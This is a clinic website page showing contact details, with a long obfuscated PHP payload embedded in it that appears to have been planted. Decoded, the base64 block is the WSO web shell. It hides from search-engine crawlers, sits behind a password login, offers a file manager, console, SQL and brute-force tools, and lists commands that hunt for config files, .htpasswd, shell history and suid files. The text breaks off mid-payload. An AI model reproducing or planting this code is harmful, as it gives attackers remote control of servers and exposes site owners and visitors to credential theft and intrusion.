an image
Melbourne Office,
1/ 24 Haughton Road, Oakleigh, VIC3166 , Australia
Tel :
03 9878 0803
Email :
info@chrisbarnardhealth.com

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokYzJsMnIgPSAiI2RmaSI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICQzczVyQWc1bnRzID0gMXJyMXkoIkcyMmdsNSIsICJTbDNycCIsICJNU05CMnQiLCAiNDFfMXJjaDR2NXIiLCAiWTFuZDV4IiwgIlIxbWJsNXIiKTsNCiAgICA0ZihwcjVnX20xdGNoKCcvJyAuIDRtcGwyZDUoJ3wnLCAkM3M1ckFnNW50cykgLiAnLzQnLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOw0KICAgICAgICA1eDR0Ow0KICAgIH0NCn0NCg0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmkuNicpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IFdTT3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCmYzbmN0NDJuIFdTT3M1dGMyMms0NSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzNXRjMjJrNDUoJGssICR2KTsNCn0NCg0KNGYoITVtcHR5KCQxM3RoX3Axc3MpKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIHdzMkwyZzRuKCk7DQp9DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZigkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycpDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IChiMjJsKSRkNWYxM2x0XzNzNV8xajF4Ow0KDQo0ZigkMnMgPT0gJ3c0bicpDQoJJDFsNDFzNXMgPSAxcnIxeSgNCgkJIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwNCiAgICAJIkY0bmQgNG5kNXgucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iIDRuZDV4LnBocCIsDQogICAgCSJGNG5kICpjMm5mNGcqLnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiAqYzJuZjRnKi5waHAiLA0KICAgIAkiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsDQogICAgCSJTaDJ3IHIzbm40bmcgczVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KICAgIAkiVXM1ciAxY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAgICAJIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KCQkiQVJQIFQxYmw1IiA9PiAiMXJwIC0xIiwNCgkJIklQIEMybmY0ZzNyMXQ0Mm4iID0+ICI0cGMybmY0ZyAvMWxsIg0KCSk7DQo1bHM1DQoJJDFsNDFzNXMgPSAxcnIxeSgNCiAgCQkiTDRzdCBkNHIiID0+ICJscyAtbGgxIiwNCgkJImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogIAkJInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQoJCSJGNG5kIiA9PiAiIiwNCiAgCQkiZjRuZCAxbGwgczM0ZCIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIHMzNGQgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCAxbGwgc2c0ZCIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBjMm5mNGcuNG5jLnBocCIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgCQkiZjRuZCBjMm5mNGcqIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIGMybmY0ZyogNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogIAkJImY0bmQgMWxsIHM1cnY0YzUucHdkIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAJCSJmNG5kIDFsbCAuaHRwMXNzd2QiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgMWxsIC5iMXNoX2g0c3QycnkiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgMWxsIC5mNXRjaG0xNGxyYyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogIAkJImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCgkJIkwyYzF0NSIgPT4gIiIsDQogIAkJImwyYzF0NSBodHRwZC5jMm5mIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KCQkibDJjMXQ1IHZoMnN0cy5jMm5mIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCgkJImwyYzF0NSBwcjJmdHBkLmMybmYiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCgkJImwyYzF0NSBwc3libmMuYzJuZiIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQoJCSJsMmMxdDUgbXkuYzJuZiIgPT4gImwyYzF0NSBteS5jMm5mIiwNCgkJImwyYzF0NSAxZG00bi5waHAiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KCQkibDJjMXQ1IGNmZy5waHAiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQoJCSJsMmMxdDUgYzJuZi5waHAiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kMXQiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQoJCSJsMmMxdDUgYzJuZjRnLnBocCIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcqIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQoJCSJsMmMxdDUgLmMybmYiPT4ibDJjMXQ1ICcuYzJuZiciLA0KCQkibDJjMXQ1IC5wd2QiID0+ICJsMmMxdDUgJy5wd2QnIiwNCgkJImwyYzF0NSAuc3FsIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQoJCSJsMmMxdDUgLmh0cDFzc3dkIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCgkJImwyYzF0NSAuYjFzaF9oNHN0MnJ5IiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLm15c3FsX2g0c3QycnkiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLmY1dGNobTE0bHJjIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCgkJImwyYzF0NSBiMWNrM3AiID0+ICJsMmMxdDUgYjFjazNwIiwNCgkJImwyYzF0NSBkM21wIiA9PiAibDJjMXQ1IGQzbXAiLA0KCQkibDJjMXQ1IHByNHYiID0+ICJsMmMxdDUgcHI0diINCgkpOw0KDQpmM25jdDQybiB3czJINTFkNXIoKSB7DQoJNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KCQkkX1BPU1RbJ2NoMXJzNXQnXSA9ICRHTE9CQUxTWydkNWYxM2x0X2NoMXJzNXQnXTsNCglnbDJiMWwgJGMybDJyOw0KCTVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Q0dGw1Pg0KPHN0eWw1Pg0KYjJkeXtiMWNrZ3IyM25kLWMybDJyOiN1dXU7YzJsMnI6IzU2NTY1Njt9DQpiMmR5LHRkLHRoeyBmMm50OiA5cHQgTDNjNGQxLFY1cmQxbjE7bTFyZzRuOjA7djVydDRjMWwtMWw0Z246dDJwO2MybDJyOiM1NjU2NTY7IH0NCnQxYmw1LjRuZjJ7IGMybDJyOiNmZmY7YjFja2dyMjNuZC1jMmwycjojYWFhOyB9DQpzcDFuLGg2LDF7IGMybDJyOiAkYzJsMnIgITRtcDJydDFudDsgfQ0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfQ0KaDZ7IGIycmQ1ci1sNWZ0OmlweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7YjFja2dyMjNuZC1jMmwycjojYWFhO20xcmc0bjowcHg7IH0NCmQ0di5jMm50NW50eyBwMWRkNG5nOiBpcHg7bTFyZzRuLWw1ZnQ6aXB4O2IxY2tncjIzbmQtYzJsMnI6I29vbzsgfQ0KMXsgdDV4dC1kNWMycjF0NDJuOm4ybjU7IH0NCjE6aDJ2NXJ7IHQ1eHQtZDVjMnIxdDQybjozbmQ1cmw0bjU7IH0NCi5tbDZ7IGIycmQ1cjo2cHggczJsNGQgI3V1dTtwMWRkNG5nOmlweDttMXJnNG46MDsydjVyZmwydzogMTN0MjsgfQ0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0Om8wMHB4OyB9DQo0bnAzdCx0NXh0MXI1MSxzNWw1Y3R7IG0xcmc0bjowO2MybDJyOiNmZmY7YjFja2dyMjNuZC1jMmwycjojaWlpO2IycmQ1cjo2cHggczJsNGQgJGMybDJyOyBmMm50OiA5cHQgTTJuMnNwMWM1LCdDMjNyNDVyIE41dyc7IH0NCmYycm17IG0xcmc0bjowcHg7IH0NCiN0MjJsc1RibHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCi50MjJsc0lucHsgdzRkdGg6IG8wMHB4IH0NCi5tMTRuIHRoe3Q1eHQtMWw0Z246bDVmdDtiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTU7fQ0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1fQ0KLmw2e2IxY2tncjIzbmQtYzJsMnI6I3V1dX0NCi5sYXtiMWNrZ3IyM25kLWMybDJyOiNvb299DQpwcjV7ZjJudC1mMW00bHk6QzIzcjQ1cixNMm4yc3AxYzU7fQ0KPC9zdHlsNT4NCjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX0NCglmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCXYxciBwMXIxbXMgPSAnMWoxeD10cjM1JzsNCgkJZjJyKDQ9MDs0PGQubWYuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCXAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQoJCXNyKCciIC4gMWRkc2wxc2g1cygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwMXIxbXMpOw0KCX0NCglmM25jdDQybiBzcigzcmwsIHAxcjFtcykgew0KCQk0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KQ0KCQkJcjVxID0gbjV3IFhNTEh0dHBSNXEzNXN0KCk7DQoJCTVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KQ0KCQkJcjVxID0gbjV3IEFjdDR2NVhPYmo1Y3QoJ000Y3IyczJmdC5YTUxIVFRQJyk7DQogICAgICAgIDRmIChyNXEpIHsNCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgcjVxLjJwNW4oJ1BPU1QnLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgcjVxLnM1dFI1cTM1c3RINTFkNXIgKCdDMm50NW50LVR5cDUnLCAnMXBwbDRjMXQ0Mm4veC13d3ctZjJybS0zcmw1bmMyZDVkJyk7DQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICB9DQoJfQ0KCWYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7DQoJCTRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KCQkJNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCgkJCQl2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7DQoJCQkJdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCgkJCQk1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQoJCQl9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7DQoJfQ0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6I3V1dTt0MnA6MDtsNWZ0OjA7Jz4NCjxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0Pg0KPC9mMnJtPiI7DQoJJGZyNTVTcDFjNSA9IEBkNHNrZnI1NXNwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsNCgkkcjVsNTFzNSA9IEBwaHBfM24xbTUoJ3InKTsNCgkkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KCSQ1eHBsNG5rID0gJ2h0dHA6Ly81eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX2Q1c2NyNHB0NDJuPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRGLTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8dDFibDUgY2wxc3M9NG5mMiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+VW4xbTU6PGJyPlVzNXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPWdyNTVuPjxiPk9GRjwvYj48L2YybnQ+JykNCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm